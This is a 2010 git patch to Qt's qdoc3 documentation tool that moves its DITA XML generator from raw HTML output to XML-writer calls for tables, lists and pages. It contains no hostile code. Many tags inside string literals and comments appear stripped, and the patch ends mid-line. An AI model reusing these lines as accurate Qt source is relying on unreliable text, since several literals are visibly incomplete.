From 4051e1cfc7f5d8a7017ca4ff7b30de483950a59b Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Tue, 7 Sep 2010 09:13:59 +0200 Subject: qdoc: Updated with current dita xml generation code from oslo-staging-1. --- tools/qdoc3/ditaxmlgenerator.cpp | 1250 +++++++++++++++++++++----------------- tools/qdoc3/ditaxmlgenerator.h | 22 +- tools/qdoc3/node.cpp | 4 +- tools/qdoc3/pagegenerator.cpp | 10 + 4 files changed, 717 insertions(+), 569 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index a83a321..3d1c53e 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -1,4 +1,3 @@ - /**************************************************************************** ** ** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). @@ -378,6 +377,7 @@ DitaXmlGenerator::DitaXmlGenerator() inContents(false), inSectionHeading(false), inTableHeader(false), + inTableBody(false), numTableRows(0), threeColumnEnumValueTable(true), offlineDocs(true), @@ -385,7 +385,8 @@ DitaXmlGenerator::DitaXmlGenerator() myTree(0), slow(false), obsoleteLinks(false), - noLinks(0) + noLinks(0), + tableColumnCount(0) { } @@ -577,7 +578,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, int skipAhead = 0; QString hx; static bool in_para = false; - QString guid; + QString guid, hc; switch (atom->type()) { case Atom::AbstractLeft: @@ -649,37 +650,29 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, writer.writeCharacters(protectEnc(plainCode(atom->string()))); } else { - writer.writeCharacters(highlightedCode(atom->string(), marker, relative)); + writeText(atom->string(), marker, relative); } writer.writeEndElement(); // sse writeStartElement() above break; case Atom::Code: writer.writeStartElement("pre"); - writer.writeAttribute("outputclass","highlightedCode"); - writer.writeCharacters(trimmedTrailing(highlightedCode(indent(codeIndent,atom->string()), - marker, - relative))); + writer.writeAttribute("outputclass","highlightedcode"); + writeText(atom->string(), marker, relative); writer.writeEndElement(); // break; -#ifdef QDOC_QML case Atom::Qml: writer.writeStartElement("pre"); - writer.writeAttribute("outputclass","highlightedCode"); - writer.writeCharacters(trimmedTrailing(highlightedCode(indent(codeIndent,atom->string()), - marker, - relative))); + writer.writeAttribute("outputclass","highlightedcode"); + writeText(atom->string(), marker, relative); writer.writeEndElement(); // pre break; -#endif case Atom::CodeNew: writer.writeStartElement("p"); writer.writeCharacters("you can rewrite it as"); writer.writeEndElement(); //

writer.writeStartElement("pre"); - writer.writeAttribute("outputclass","highlightedCode"); - writer.writeCharacters(trimmedTrailing(highlightedCode(indent(codeIndent,atom->string()), - marker, - relative))); + writer.writeAttribute("outputclass","highlightedcode"); + writeText(atom->string(), marker, relative); writer.writeEndElement(); // break; case Atom::CodeOld: @@ -689,7 +682,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, // fallthrough case Atom::CodeBad: writer.writeStartElement("pre"); - writer.writeAttribute("outputclass","highlightedCode"); + writer.writeAttribute("outputclass","highlightedcode"); writer.writeCharacters(trimmedTrailing(protectEnc(plainCode(indent(codeIndent,atom->string()))))); writer.writeEndElement(); // break; @@ -1075,51 +1068,53 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, else if (atom->string() == ATOM_LIST_VALUE) { threeColumnEnumValueTable = isThreeColumnEnumValueTable(atom); if (threeColumnEnumValueTable) { - writer.writeStartElement("table"); + writer.writeStartElement("simpletable"); writer.writeAttribute("outputclass","valuelist"); - writer.writeStartElement("tr"); + writer.writeStartElement("sthead"); if (++numTableRows % 2 == 1) writer.writeAttribute("outputclass","odd"); else writer.writeAttribute("outputclass","even"); - writer.writeStartElement("th"); + writer.writeStartElement("stentry"); writer.writeCharacters("Constant"); - writer.writeEndElement(); // - writer.writeStartElement("th"); + writer.writeEndElement(); // + writer.writeStartElement("stentry"); writer.writeCharacters("Value"); - writer.writeEndElement(); // - writer.writeStartElement("th"); + writer.writeEndElement(); // + writer.writeStartElement("stentry"); writer.writeCharacters("Description"); - writer.writeEndElement(); // - writer.writeEndElement(); // + writer.writeEndElement(); // + writer.writeEndElement(); // } else { - writer.writeStartElement("table"); + writer.writeStartElement("simpletable"); writer.writeAttribute("outputclass","valuelist"); - writer.writeStartElement("tr"); - writer.writeStartElement("th"); + writer.writeStartElement("sthead"); + writer.writeStartElement("stentry"); writer.writeCharacters("Constant"); - writer.writeEndElement(); // - writer.writeStartElement("th"); + writer.writeEndElement(); // + writer.writeStartElement("stentry"); writer.writeCharacters("Value"); - writer.writeEndElement(); // - writer.writeEndElement(); // + writer.writeEndElement(); // + writer.writeEndElement(); // } } else { writer.writeStartElement("ol"); if (atom->string() == ATOM_LIST_UPPERALPHA) - writer.writeAttribute("type","A"); + writer.writeAttribute("outputclass","upperalpha"); else if (atom->string() == ATOM_LIST_LOWERALPHA) - writer.writeAttribute("type","a"); + writer.writeAttribute("outputclass","loweralpha"); else if (atom->string() == ATOM_LIST_UPPERROMAN) - writer.writeAttribute("type","I"); + writer.writeAttribute("outputclass","upperroman"); else if (atom->string() == ATOM_LIST_LOWERROMAN) - writer.writeAttribute("type","i"); + writer.writeAttribute("outputclass","lowerroman"); else // (atom->string() == ATOM_LIST_NUMERIC) - writer.writeAttribute("type","1"); - if (atom->next() != 0 && atom->next()->string().toInt() != 1) + writer.writeAttribute("outputclass","numeric"); + if (atom->next() != 0 && atom->next()->string().toInt() != 1) { + // I don't think this attribute is supported. writer.writeAttribute("start",atom->next()->string()); + } } break; case Atom::ListItemNumber: @@ -1130,15 +1125,15 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, writer.writeStartElement("dt"); } else { // (atom->string() == ATOM_LIST_VALUE) - writer.writeStartElement("tr"); - writer.writeStartElement("td"); + writer.writeStartElement("strow"); + writer.writeStartElement("stentry"); writer.writeAttribute("outputclass","topAlign"); writer.writeStartElement("tt"); writer.writeCharacters(protectEnc(plainCode(marker->markedUpEnumValue(atom->next()->string(), relative)))); writer.writeEndElement(); // - writer.writeEndElement(); // - writer.writeStartElement("td"); + writer.writeEndElement(); // + writer.writeStartElement("stentry"); writer.writeAttribute("outputclass","topAlign"); QString itemValue; @@ -1167,8 +1162,8 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, } else if (atom->string() == ATOM_LIST_VALUE) { if (threeColumnEnumValueTable) { - writer.writeEndElement(); // - writer.writeStartElement("td"); + writer.writeEndElement(); // + writer.writeStartElement("stentry"); writer.writeAttribute("outputclass","topAlign"); if (matchAhead(atom, Atom::ListItemRight)) writer.writeCharacters(" "); @@ -1185,8 +1180,8 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, writer.writeEndElement(); // } else if (atom->string() == ATOM_LIST_VALUE) { - writer.writeEndElement(); // - writer.writeEndElement(); // + writer.writeEndElement(); // + writer.writeEndElement(); // } else { writer.writeEndElement(); // @@ -1200,7 +1195,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, writer.writeEndElement(); // } else if (atom->string() == ATOM_LIST_VALUE) { - writer.writeEndElement(); // + writer.writeEndElement(); // } else { writer.writeEndElement(); // @@ -1264,61 +1259,80 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, } break; case Atom::TableLeft: - if (in_para) { - writer.writeEndElement(); //

- in_para = false; + { + if (in_para) { + writer.writeEndElement(); //

+ in_para = false; + } + writer.writeStartElement("table"); + writer.writeAttribute("outputclass","generic"); + numTableRows = 0; + if (tableColumnCount != 0) { + qDebug() << "ERROR: Nested tables!"; + tableColumnCount = 0; + } + const Atom* t = atom->next(); + while ((t->type() != Atom::TableHeaderRight) && + (t->type() != Atom::TableRowRight) && + (t->type() != Atom::TableRight)) { + if (t->type() == Atom::TableItemLeft) + ++tableColumnCount; + t = t->next(); + } + writer.writeStartElement("tgroup"); + writer.writeAttribute("cols",QString::number(tableColumnCount)); } - writer.writeStartElement("table"); - writer.writeAttribute("outputclass","generic"); - numTableRows = 0; break; case Atom::TableRight: + writer.writeEndElement(); // + writer.writeEndElement(); // writer.writeEndElement(); // + tableColumnCount = 0; break; case Atom::TableHeaderLeft: writer.writeStartElement("thead"); - writer.writeStartElement("tr"); + writer.writeStartElement("row"); writer.writeAttribute("outputclass","qt-style topAlign"); inTableHeader = true; + inTableBody = false; break; case Atom::TableHeaderRight: - writer.writeEndElement(); // + writer.writeEndElement(); // if (matchAhead(atom, Atom::TableHeaderLeft)) { skipAhead = 1; - writer.writeStartElement("tr"); + writer.writeStartElement("row"); writer.writeAttribute("outputclass","qt-style topAlign"); } else { writer.writeEndElement(); // inTableHeader = false; + inTableBody = true; + writer.writeStartElement("tbody"); } break; case Atom::TableRowLeft: - writer.writeStartElement("tr"); + if (!inTableHeader && !inTableBody) { + inTableBody = true; + writer.writeStartElement("tbody"); + } + writer.writeStartElement("row"); if (++numTableRows % 2 == 1) writer.writeAttribute("outputclass","odd topAlign"); else writer.writeAttribute("outputclass","even topAlign"); break; case Atom::TableRowRight: - writer.writeEndElement(); // \n"; + writer.writeEndElement(); // \n"; break; case Atom::TableItemLeft: { if (inTableHeader) - writer.writeStartElement("th"); + writer.writeStartElement("entry"); else - writer.writeStartElement("td"); + writer.writeStartElement("entry"); QStringList spans = atom->string().split(","); if (spans.size() == 2) { -#if zzz - - if (spans.at(0) != "1") - out() << " colspan=\"" << spans.at(0) << "\""; - if (spans.at(1) != "1") - out() << " rowspan=\"" << spans.at(1) << "\""; -#endif if (!inTableHeader) writer.writeStartElement("p"); } @@ -1328,10 +1342,10 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, break; case Atom::TableItemRight: if (inTableHeader) - writer.writeEndElement(); // + writer.writeEndElement(); // else { writer.writeEndElement(); //

- writer.writeEndElement(); // + writer.writeEndElement(); // } if (matchAhead(atom, Atom::ParaLeft)) skipAhead = 1; @@ -1384,12 +1398,10 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, writer.writeCharacters(protectEnc(atom->string())); writer.writeEndElement(); // break; -#ifdef QDOC_QML case Atom::QmlText: case Atom::EndQmlText: // don't do anything with these. They are just tags. break; -#endif default: // unknownAtom(atom); break; @@ -1398,7 +1410,9 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, } /*! - Generate a reference page for a C++ class. + Generate a element (and all the stuff inside it) + for the C++ class represented by \a innerNode. \a marker is + for marking up the code. I don't know what that means exactly. */ void DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* marker) @@ -1432,7 +1446,9 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark writer.writeCharacters(fullTitle); writer.writeEndElement(); // - generateBrief(inner, marker); + generateBrief(inner, marker); // + + // not included: writer.writeStartElement(CXXCLASSDETAIL); writer.writeStartElement(CXXCLASSDEFINITION); @@ -1445,7 +1461,10 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark writer.writeAttribute("value","abstract"); writer.writeEndElement(); // } - writeDerivations(cn, marker); + writeDerivations(cn, marker); // + + // not included: + writeLocation(cn); writer.writeEndElement(); // writer.writeStartElement(APIDESC); @@ -1456,12 +1475,18 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark writer.writeCharacters("Detailed Description"); writer.writeEndElement(); //

generateBody(inner, marker); - // generateAlsoList(inner, marker); + // generateAlsoList(inner, marker); } writer.writeEndElement(); // + + // not included: ,
, or + writer.writeEndElement(); // + // not included: + // not included: + sections = marker->sections(inner, CodeMarker::Detailed, CodeMarker::Okay); s = sections.begin(); while (s != sections.end()) { @@ -1483,199 +1508,11 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark } ++s; } - writer.writeEndElement(); // - } - -#ifdef WRITE_HTML - Text subtitleText; - if (rawTitle != fullTitle) - subtitleText << "(" << Atom(Atom::AutoLink, fullTitle) << ")" - << Atom(Atom::LineBreak); - - QString shortVersion; - shortVersion = project + " " + shortVersion + ": "; - shortVersion = myTree->version(); - if (shortVersion.count(QChar('.')) == 2) - shortVersion.truncate(shortVersion.lastIndexOf(QChar('.'))); - if (!shortVersion.isEmpty()) { - if (project == "QSA") - shortVersion = "QSA " + shortVersion + ": "; - else - shortVersion = "Qt " + shortVersion + ": "; - } - - out() << " " << shortVersion << protectEnc(title) << "\n"; - -#if 0 - out() << QString(postHeader).replace("\\" + COMMAND_VERSION, myTree->version()); - generateBreadCrumbs(title,node,marker); - out() << QString(postPostHeader).replace("\\" + COMMAND_VERSION, myTree->version()); -#endif - - sections = marker->sections(inner, CodeMarker::Summary, CodeMarker::Okay); - generateTableOfContents(inner,marker,§ions); - generateTitle(title, subtitleText, SmallSubTitle, inner, marker); - -#ifdef QDOC_QML - if (cn && !cn->qmlElement().isEmpty()) { - generateInstantiatedBy(cn,marker); - } -#endif - - generateBrief(inner, marker); - generateIncludes(inner, marker); - generateStatus(inner, marker); - if (cn) { - generateInherits(cn, marker); - generateInheritedBy(cn, marker); - } - generateThreadSafeness(inner, marker); - generateSince(inner, marker); - - out() << "
    \n"; - - QString membersLink = generateListOfAllMemberFile(inner, marker); - if (!membersLink.isEmpty()) - out() << "
  • " - << "List of all members, including inherited members
  • \n"; - - QString obsoleteLink = generateLowStatusMemberFile(inner, - marker, - CodeMarker::Obsolete); - if (!obsoleteLink.isEmpty()) - out() << "
  • " - << "Obsolete members
  • \n"; - - QString compatLink = generateLowStatusMemberFile(inner, - marker, - CodeMarker::Compat); - if (!compatLink.isEmpty()) - out() << "
  • " - << "Qt 3 support members
  • \n"; - - out() << "
\n"; - - bool needOtherSection = false; - - /* - sections is built above for the call to generateTableOfContents(). - */ - s = sections.begin(); - while (s != sections.end()) { - if (s->members.isEmpty() && s->reimpMembers.isEmpty()) { - if (!s->inherited.isEmpty()) - needOtherSection = true; - } - else { - if (!s->members.isEmpty()) { - out() << "
\n"; - out() << "\n"; - out() << "

" << protectEnc((*s).name) << "

\n"; - generateSection(s->members, inner, marker, CodeMarker::Summary); - } - if (!s->reimpMembers.isEmpty()) { - QString name = QString("Reimplemented ") + (*s).name; - out() << "
\n"; - out() << "\n"; - out() << "

" << protectEnc(name) << "

\n"; - generateSection(s->reimpMembers, inner, marker, CodeMarker::Summary); - } - - if (!s->inherited.isEmpty()) { - out() << "
    \n"; - generateSectionInheritedList(*s, inner, marker, true); - out() << "
\n"; - } - } - ++s; - } - - if (needOtherSection) { - out() << "

Additional Inherited Members

\n" - "
    \n"; - - s = sections.begin(); - while (s != sections.end()) { - if (s->members.isEmpty() && !s->inherited.isEmpty()) - generateSectionInheritedList(*s, inner, marker); - ++s; - } - out() << "
\n"; - } - - out() << "\n"; - - if (!inner->doc().isEmpty()) { - out() << "
\n" - << "
\n" // QTBUG-9504 - << "

" << "Detailed Description" << "

\n"; - generateBody(inner, marker); - out() << "
\n"; // QTBUG-9504 - generateAlsoList(inner, marker); - } - - sections = marker->sections(inner, CodeMarker::Detailed, CodeMarker::Okay); - s = sections.begin(); - while (s != sections.end()) { - out() << "
\n"; - if (!(*s).divClass.isEmpty()) - out() << "
\n"; // QTBUG-9504 - out() << "

" << protectEnc((*s).name) << "

\n"; - - NodeList::ConstIterator m = (*s).members.begin(); - while (m != (*s).members.end()) { - if ((*m)->access() != Node::Private) { // ### check necessary? - if ((*m)->type() != Node::Class) - generateDetailedMember(*m, inner, marker); - else { - out() << "

class "; - generateFullName(*m, inner, marker); - out() << "

"; - generateBrief(*m, marker, inner); - } - QStringList names; - names << (*m)->name(); - if ((*m)->type() == Node::Function) { - const FunctionNode *func = reinterpret_cast(*m); - if (func->metaness() == FunctionNode::Ctor || - func->metaness() == FunctionNode::Dtor || - func->overloadNumber() != 1) - names.clear(); - } - else if ((*m)->type() == Node::Property) { - const PropertyNode *prop = reinterpret_cast(*m); - if (!prop->getters().isEmpty() && - !names.contains(prop->getters().first()->name())) - names << prop->getters().first()->name(); - if (!prop->setters().isEmpty()) - names << prop->setters().first()->name(); - if (!prop->resetters().isEmpty()) - names << prop->resetters().first()->name(); - } - else if ((*m)->type() == Node::Enum) { - const EnumNode *enume = reinterpret_cast(*m); - if (enume->flagsType()) - names << enume->flagsType()->name(); + // not included: - foreach (const QString &enumName, - enume->doc().enumItemNames().toSet() - - enume->doc().omitEnumItemNames().toSet()) - names << plainCode(marker->markedUpEnumValue(enumName, - enume)); - } - } - ++m; - } - if (!(*s).divClass.isEmpty()) - out() << "
\n"; // QTBUG-9504 - ++s; + writer.writeEndElement(); // } -#endif } /*! @@ -1684,14 +1521,18 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark */ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker) { - return; // zzz - SubTitleSize subTitleSize = LargeSubTitle; QList
sections; QList
::const_iterator s; QString fullTitle = fake->fullTitle(); QString htmlTitle = fullTitle; + /* + NOTE: For now we only handle \page elements. + */ + if (fake->subType() != Node::Page) + return; + if (fake->subType() == Node::File && !fake->subTitle().isEmpty()) { subTitleSize = SmallSubTitle; htmlTitle += " (" + fake->subTitle() + ")"; @@ -1702,7 +1543,30 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker } generateHeader(fake); - + + if (fake->subType() == Node::Page) { + writer.writeStartElement("topic"); + writer.writeAttribute("id",fake->guid()); + writer.writeStartElement("title"); + writer.writeCharacters(fullTitle); + writer.writeEndElement(); // + + generateBrief(fake, marker); // + + if (!fake->doc().isEmpty()) { + writer.writeStartElement("body"); + writer.writeStartElement("p"); + writer.writeAttribute("outputclass","h2"); + writer.writeCharacters("Detailed Description"); + writer.writeEndElement(); //

+ generateBody(fake, marker); + writer.writeEndElement(); // + } + writer.writeEndElement(); // + } +} + +#if 0 /* Generate the TOC for the new doc format. Don't generate a TOC for the home page. @@ -1715,7 +1579,7 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker subTitleSize, fake, marker); - + if (fake->subType() == Node::Module) { // Generate brief text and status for modules. generateBrief(fake, marker); @@ -1760,7 +1624,6 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker out() << "\n"; } -#ifdef QDOC_QML else if (fake->subType() == Node::QmlClass) { const QmlClassNode* qml_cn = static_cast(fake); const ClassNode* cn = qml_cn->classNode(); @@ -1800,7 +1663,8 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker return; } #endif - + +#if 0 sections = marker->sections(fake, CodeMarker::Summary, CodeMarker::Okay); s = sections.begin(); while (s != sections.end()) { @@ -1845,7 +1709,7 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker } ++s; } -} +#endif /*! Returns "xml" for this subclass of Generator. @@ -1943,6 +1807,12 @@ void DitaXmlGenerator::generateBreadCrumbs(const QString& title, } } +/*! + Outputs an XML file header depending on which kind of DITA + file is being generated. + + \note This does not cover all cases yet. + */ void DitaXmlGenerator::generateHeader(const Node* node) { writer.setDevice(out().device()); @@ -1953,18 +1823,28 @@ void DitaXmlGenerator::generateHeader(const Node* node) if (!node) return; - QString docType; + QString doctype; + QString element; QString dtd; + QString base; QString version; if (node->type() == Node::Class) { - docType = "cxxClass"; + element = "cxxClass"; dtd = "dtd/cxxClass.dtd"; version = "0.6.0"; + doctype = ""; + } + else if (node->type() == Node::Fake) { + if (node->subType() == Node::Page) { + element = "topic"; + dtd = "dtd/topic.dtd"; + doctype = ""; + } } - QString doctype = ""; writer.writeDTD(doctype); writer.writeComment(node->doc().location().fileName()); } @@ -1989,7 +1869,7 @@ void DitaXmlGenerator::generateTitle(const QString& title, } /*! - Outputs the brief command as a element. */ void DitaXmlGenerator::generateBrief(const Node* node, CodeMarker* marker) { @@ -2006,11 +1886,10 @@ void DitaXmlGenerator::generateBrief(const Node* node, CodeMarker* marker) void DitaXmlGenerator::generateIncludes(const InnerNode *inner, CodeMarker *marker) { if (!inner->includes().isEmpty()) { - out() << "
"
-              << trimmedTrailing(highlightedCode(indent(codeIndent,
-                                                        marker->markedUpIncludes(inner->includes())),
-                                                 marker,inner))
-              << "
"; + writer.writeStartElement("pree"); + writer.writeAttribute("outputclass","highlightedcode"); + writeText(marker->markedUpIncludes(inner->includes()), marker, inner); + writer.writeEndElement(); // } } @@ -2532,19 +2411,27 @@ void DitaXmlGenerator::generateCompactList(const Node *relative, Output the alphabet as a row of links. */ if (includeAlphabet) { - out() << "

"; + writer.writeStartElement("p"); + writer.writeAttribute("outputclass","centerAlign functionIndex"); + writer.writeStartElement("b"); for (int i = 0; i < 26; i++) { QChar ch('a' + i); - if (usedParagraphNames.contains(char('a' + i))) - out() << QString("%2 ").arg(ch).arg(ch.toUpper()); + if (usedParagraphNames.contains(char('a' + i))) { + writer.writeStartElement("xref"); + writer.writeAttribute("href",QString("#%1").arg(ch)); + writer.writeCharacters(QString(ch.toUpper())); + writer.writeEndElement(); // + } } - out() << "

\n"; + writer.writeEndElement(); // + writer.writeEndElement(); //

} /* - Output a
element to contain all the
elements. + Output a

element to contain all the

elements. */ - out() << "
\n"; + writer.writeStartElement("p"); + writer.writeAttribute("outputclass","compactlist flowListDiv"); for (int i=0; i. */ if (curParOffset == 0) { - if (i > 0) - out() << "
\n"; + if (i > 0) { + writer.writeEndElement(); // + writer.writeEndElement(); //
+ } + writer.writeStartElement("dl"); if (++numTableRows % 2 == 1) - out() << "
"; + writer.writeAttribute("outputclass","flowList odd"); else - out() << "
"; - out() << "
"; + writer.writeAttribute("outputclass","flowList even"); + writer.writeStartElement("dlentry"); + writer.writeStartElement("dt"); + writer.writeAttribute("outputclass","alphaChar"); if (includeAlphabet) { QChar c = paragraphName[curParNr][0].toLower(); - out() << QString("").arg(c); + writer.writeStartElement("a"); + writer.writeAttribute("name",c); } - out() << "" - << paragraphName[curParNr] - << ""; - out() << "
\n"; + writer.writeStartElement("b"); + writer.writeCharacters(paragraphName[curParNr]); + writer.writeEndElement(); // + writer.writeEndElement(); // } /* Output a
for the current offset in the current paragraph. */ - out() << "
"; + writer.writeStartElement("dd"); if ((curParNr < NumParagraphs) && !paragraphName[curParNr].isEmpty()) { NodeMap::Iterator it; @@ -2589,26 +2482,28 @@ void DitaXmlGenerator::generateCompactList(const Node *relative, Previously, we used generateFullName() for this, but we require some special formatting. */ - out() << ""; + writer.writeStartElement("xref"); + writer.writeAttribute("href",linkForNode(it.value(), relative)); QStringList pieces; if (it.value()->subType() == Node::QmlClass) pieces << it.value()->name(); else pieces = fullName(it.value(), relative, marker).split("::"); - out() << protectEnc(pieces.last()); - out() << ""; + writer.writeCharacters(protectEnc(pieces.last())); + writer.writeEndElement(); // if (pieces.size() > 1) { - out() << " ("; - generateFullName(it.value()->parent(), relative, marker); - out() << ")"; + writer.writeCharacters(" ("); + generateFullName(it.value()->parent(),relative,marker); + writer.writeCharacters(")"); } } - out() << "
\n"; + writer.writeEndElement(); // curParOffset++; } - out() << "
\n"; - out() << "
\n"; + writer.writeEndElement(); // + writer.writeEndElement(); // + writer.writeEndElement(); //

} void DitaXmlGenerator::generateFunctionIndex(const Node *relative, @@ -2624,16 +2519,10 @@ void DitaXmlGenerator::generateFunctionIndex(const Node *relative, char nextLetter = 'a'; char currentLetter; -#if 1 out() << "
    \n"; -#endif QMap::ConstIterator f = funcIndex.begin(); while (f != funcIndex.end()) { -#if 1 out() << "
  • "; -#else - out() << "

    "; -#endif out() << protectEnc(f.key()) << ":"; currentLetter = f.key()[0].unicode(); @@ -2648,17 +2537,11 @@ void DitaXmlGenerator::generateFunctionIndex(const Node *relative, generateFullName((*s)->parent(), relative, marker, *s); ++s; } -#if 1 out() << "

  • "; -#else - out() << "

    "; -#endif out() << "\n"; ++f; } -#if 1 out() << "
\n"; -#endif } void DitaXmlGenerator::generateLegaleseList(const Node *relative, @@ -2680,45 +2563,6 @@ void DitaXmlGenerator::generateLegaleseList(const Node *relative, } } -/*void DitaXmlGenerator::generateSynopsis(const Node *node, - const Node *relative, - CodeMarker *marker, - CodeMarker::SynopsisStyle style) -{ - QString marked = marker->markedUpSynopsis(node, relative, style); - QRegExp templateTag("(<[^@>]*>)"); - if (marked.indexOf(templateTag) != -1) { - QString contents = protectEnc(marked.mid(templateTag.pos(1), - templateTag.cap(1).length())); - marked.replace(templateTag.pos(1), templateTag.cap(1).length(), - contents); - } - marked.replace(QRegExp("<@param>([a-z]+)_([1-9n])"), - "\\1\\2"); - marked.replace("<@param>", ""); - marked.replace("", ""); - - if (style == CodeMarker::Summary) - marked.replace("@name>", "b>"); - - if (style == CodeMarker::SeparateList) { - QRegExp extraRegExp("<@extra>.*"); - extraRegExp.setMinimal(true); - marked.replace(extraRegExp, ""); - } - else { - marked.replace("<@extra>", "  "); - marked.replace("", ""); - } - - if (style != CodeMarker::Detailed) { - marked.replace("<@type>", ""); - marked.replace("", ""); - } - out() << highlightedCode(marked, marker, relative); -}*/ - -#ifdef QDOC_QML void DitaXmlGenerator::generateQmlItem(const Node *node, const Node *relative, CodeMarker *marker, @@ -2747,9 +2591,8 @@ void DitaXmlGenerator::generateQmlItem(const Node *node, marked.replace("<@type>", ""); marked.replace("", ""); } - out() << highlightedCode(marked, marker, relative); + writeText(marked, marker, relative); } -#endif void DitaXmlGenerator::generateOverviewList(const Node *relative, CodeMarker * /* marker */) { @@ -2882,13 +2725,24 @@ void DitaXmlGenerator::generateSection(const NodeList& nl, name_alignment = false; } if (name_alignment) { - out() << "\n"; + writer.writeStartElement("table"); + writer.writeAttribute("outputclass","alignedsummary"); + writer.writeStartElement("tgroup"); + writer.writeAttribute("cols","2"); + writer.writeStartElement("tbody"); } else { - if (twoColumn) - out() << "
\n" - << "\n"; - else - out() << "\n"; + QString marked = getMarkedUpSynopsis(*m, relative, marker, style); + writeText(marked, marker, relative, name_alignment); + if (name_alignment) { + writer.writeEndElement(); // + writer.writeEndElement(); // + } + else { + writer.writeEndElement(); // + } i++; ++m; } - if (name_alignment) - out() << "
"; - out() << "
    \n"; + if (twoColumn) { + writer.writeStartElement("table"); + writer.writeAttribute("outputclass","propsummary"); + writer.writeStartElement("tgroup"); + writer.writeAttribute("cols","1"); + writer.writeStartElement("tbody"); + writer.writeStartElement("row"); + writer.writeStartElement("entry"); + writer.writeAttribute("outputclass","topAlign"); + } + writer.writeStartElement("ul"); } int i = 0; @@ -2900,28 +2754,48 @@ void DitaXmlGenerator::generateSection(const NodeList& nl, } if (name_alignment) { - out() << "
"; + writer.writeStartElement("row"); + writer.writeStartElement("entry"); + writer.writeAttribute("outputclass","memItemLeft rightAlign topAlign"); } else { - if (twoColumn && i == (int) (nl.count() + 1) / 2) - out() << "
    \n"; - out() << "
  • "; + if (twoColumn && i == (int) (nl.count() + 1) / 2) { + writer.writeEndElement(); //
+ writer.writeEndElement(); // + writer.writeStartElement("entry"); + writer.writeAttribute("outputclass","topAlign"); + writer.writeStartElement("ul"); + } + writer.writeStartElement("li"); + writer.writeAttribute("outputclass","fn"); } - generateSynopsis(*m, relative, marker, style, name_alignment); - if (name_alignment) - out() << "
\n"; + if (name_alignment) { + writer.writeEndElement(); // + writer.writeEndElement(); // + writer.writeEndElement(); // + } else { - out() << "\n"; - if (twoColumn) - out() << "\n\n"; + writer.writeEndElement(); // + if (twoColumn) { + writer.writeEndElement(); // + writer.writeEndElement(); // + writer.writeEndElement(); // + writer.writeEndElement(); // + writer.writeEndElement(); // + } } } } @@ -2969,7 +2843,8 @@ void DitaXmlGenerator::generateSectionList(const Section& section, out() << "
  • "; } - generateSynopsis(*m, relative, marker, style, name_alignment); + QString marked = getMarkedUpSynopsis(*m, relative, marker, style); + writeText(marked, marker, relative, name_alignment); if (name_alignment) out() << "\n"; else @@ -3019,51 +2894,58 @@ void DitaXmlGenerator::generateSectionInheritedList(const Section& section, } } -void DitaXmlGenerator::generateSynopsis(const Node *node, - const Node *relative, - CodeMarker *marker, - CodeMarker::SynopsisStyle style, - bool nameAlignment) +/*! + Get the synopsis from the \a node using the \a relative + node if needed, and mark up the synopsis using \a marker. + Use the style to decide which kind of sysnopsis to build, + normally \c Summary or \c Detailed. Return the marked up + string. + */ +QString DitaXmlGenerator::getMarkedUpSynopsis(const Node* node, + const Node* relative, + CodeMarker* marker, + CodeMarker::SynopsisStyle style) { QString marked = marker->markedUpSynopsis(node, relative, style); QRegExp templateTag("(<[^@>]*>)"); if (marked.indexOf(templateTag) != -1) { QString contents = protectEnc(marked.mid(templateTag.pos(1), - templateTag.cap(1).length())); - marked.replace(templateTag.pos(1), templateTag.cap(1).length(), - contents); + templateTag.cap(1).length())); + marked.replace(templateTag.pos(1), + templateTag.cap(1).length(), + contents); } marked.replace(QRegExp("<@param>([a-z]+)_([1-9n])"), "\\1\\2"); - marked.replace("<@param>", ""); - marked.replace("", ""); + marked.replace("<@param>",""); + marked.replace("",""); if (style == CodeMarker::Summary) { - marked.replace("<@name>", ""); // was "" - marked.replace("", ""); // was "" + marked.replace("<@name>",""); // was "" + marked.replace("",""); // was "" } if (style == CodeMarker::SeparateList) { QRegExp extraRegExp("<@extra>.*"); extraRegExp.setMinimal(true); - marked.replace(extraRegExp, ""); - } else { - marked.replace("<@extra>", ""); - marked.replace("", ""); + marked.replace(extraRegExp,""); + } + else { + marked.replace("<@extra>",""); + marked.replace("",""); } if (style != CodeMarker::Detailed) { - marked.replace("<@type>", ""); - marked.replace("", ""); + marked.replace("<@type>",""); + marked.replace("",""); } - out() << highlightedCode(marked, marker, relative, style, nameAlignment); + return marked; } -QString DitaXmlGenerator::highlightedCode(const QString& markedCode, - CodeMarker *marker, - const Node *relative, - CodeMarker::SynopsisStyle , - bool nameAlignment) +void DitaXmlGenerator::writeText(const QString& markedCode, + CodeMarker* marker, + const Node* relative, + bool nameAlignment) { QString src = markedCode; QString 